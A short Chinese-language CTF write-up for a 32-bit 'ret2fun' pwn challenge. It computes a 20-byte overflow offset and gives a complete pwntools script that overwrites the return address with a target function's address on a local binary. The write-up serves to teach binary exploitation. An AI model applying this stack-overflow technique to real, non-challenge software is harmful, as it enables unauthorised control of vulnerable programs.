题目信息

题目名称:ret2fun

解题步骤

其实和ret2fun一样,但是没有栈对齐了,是32位

代码也一样,我就不贴了(其实应该先做这个题的)

fun地址为0x080484cd

在 32 位架构下,寄存器宽度为 4 字节(64 位为 8 字节)。根据题目逻辑,我们需要覆盖局部变量和 Saved EBP 才能控制返回地址。

Buffer: 16 bytes

Saved EBP: 4 bytes (32-bit width)

Total Offset: 20 bytes

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

elf = context.binary = ELF('./pwn')
p = process(elf.path)

fun_addr = 0x080484cd

payload = b'A' * 20 + p32(fun_addr)

p.sendlineafter(b'please input:', payload)
p.interactive()